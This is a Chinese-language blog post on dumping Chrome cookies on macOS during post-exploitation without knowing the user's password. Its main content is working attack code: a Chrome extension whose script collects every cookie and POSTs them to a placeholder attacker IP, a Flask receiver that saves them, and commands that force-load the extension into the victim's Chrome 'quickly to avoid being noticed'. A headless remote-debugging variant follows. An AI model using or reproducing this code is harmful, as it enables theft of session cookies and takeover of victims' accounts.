MacOS下无密码dump chrome cookie

文章最后更新时间为:2021年11月18日 11:48:57

1. 背景

在后渗透中,获取用户凭证是很重要的一步,其中就包括浏览器的各种敏感信息。包括浏览记录、下载历史
cookie、书签等等。

在windows和linux上我们可以很轻易的获取各种浏览器的敏感信息,cs也有很多插件可以使用,hack-browser-data 就是是一个浏览器数据(包括密码、历史记录、Cookie、书签、信用卡、下载记录)的导出工具,支持全平台主流浏览器,其github主页为https://github.com/moonD4rk/HackBrowserData

Chrome的数据文件存储路径可以通过在搜索框中输入chrome://version 看到,其中Profile Path就是存储路径。

2021-09-09T08:18:17.png

此路径下有Cookies History Bookmarks Login data这四个文件用来存储对应的信息,拷贝后使用 sqlite3 数据库打开Cookies,看到encrypte_value关键字段是BLOB (Binary long Object)类型,我们要做的就是如何解密这串二进制。

在windows上,解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中,字段encrypted_key 为AES用到的key值。整个解密过程无需任何密码,用户只需可以访问Chrome数据文件便可完成解密。

在macos上,解密有些稍微不一样,其中用到的secret key值则存储在Mac keychain中,所以解密过程必须得要输入系统密码。

2. mac下dump cookie

所以在mac平台上,需要解密的数据,比如cookie,则无法通过常规手段解密得到。那么怎么获取cookie呢?

这里可以采用加载chrome插件盗取cookie的形式。chrome插件具有获取cookie的api,可以参考

这里我写了一个简单的插件,用来遍历所有的cookie,发送给我们的服务器。源码为:https://github.com/saucer-man/chrome_get_cookie

  • manifest.json

    {
    "name": "getCookie",
    "manifest_version": 2,
    "version": "1.0",
    "description": "getCookie 扩展程序",
    "browser_action": {
      "default_popup": "popup.html"
    },
    "background": {
      "scripts": ["getcookie.js"],
      "persistent": false
    },
    "permissions": [
      "https://*/*",
      "http://*/*",
      "cookies"
    ]
    }
    
  • getcookie.js
chrome.cookies.getAll({}, function (cks){
    var result = Array();
    cks.forEach(function(ck){
        var m_ck = {};
        m_ck["domain"] = ck.domain
        m_ck["name"] = ck.name;
        m_ck["value"] = ck.value;
        m_ck["hostOnly"] = ck.hostOnly;
        m_ck["path"] = ck.path;
        result.push(m_ck);
    });
    (function(data){
        var url = 'http://xx.xx.xx.xx:9999/';
        fetch(url, {
                method: 'POST',
                body: JSON.stringify(data),
                headers: new Headers({
                    'Content-Type': 'application/json'
                })
        });
    }(result));
});

其中需要注意的是background只有在扩展第一次加载的时候才会执行。

那么怎么利用呢?

首先我们需要搞一个服务器接受cookie,这里实验的话,就使用python flask:

from flask import Flask,request, make_response
import json


app = Flask(__name__)

@app.route('/',methods=['POST'])
def hello_world():
    data = request.get_data()
    json_re = json.loads(data)
    with open("cookie.json","w") as f:
        json.dump(json_re,f)
    # print(json_re)
    resp = make_response("success")
    return resp

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0',port=9999)

然后需要让对方加载这个扩展,分为两种情况,

第一种情况,如果对方没有开chrome google进程,那么就很简单了。只需要执行:

# 启动chrome程序,并且加载解压之后的浏览器扩展
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie

# 当服务器接收到cookie后,停止这个进程,整个动作最好要快,防止被发现

2021-09-09T09:16:11.png

第二种情况,如果对方正在使用chrome,这个时候我们就需要开启另一个chrome实例,才可以加载插件。使用--user-data-dir即可

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie --user-data-dir=~/tmp

但是这样启动的实例,无法获取到用户cookie和其他数据,所以在启动前,还需要把用户数据复制到这个目录,但是第二种情况我试验下来,一直没有接收到cookie,不知道是不是我复制的用户数据有问题。

3. 更新

后来我又搜到另一种无密码dump cookie的方式:利用chrome的远程调试功能,然后通过调试接口来获取所有的cookie。具体内容可以查看:https://zhuanlan.zhihu.com/p/48553407

在终端上输入如下命令

# 开启一个 Headless Chrome 窗口,设置远程调试监听 localhost:9222 (Chrome 远程调试的默认端口)。成功开启 Headless Chrome 窗口后还需要打开一个标签页来 debug 它。可以是 gmail.com ,也可以是其他。
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222

自动化利用脚本:https://github.com/defaultnamehere/cookie_crimes

在最新版本的mac上测试下来不可用:

2021-09-10T03:09:25.png

但是思路是很好的

1 + 7 =
1 评论
    666 Chrome 93 Windows 10
    2021年09月14日 回复

    牛逼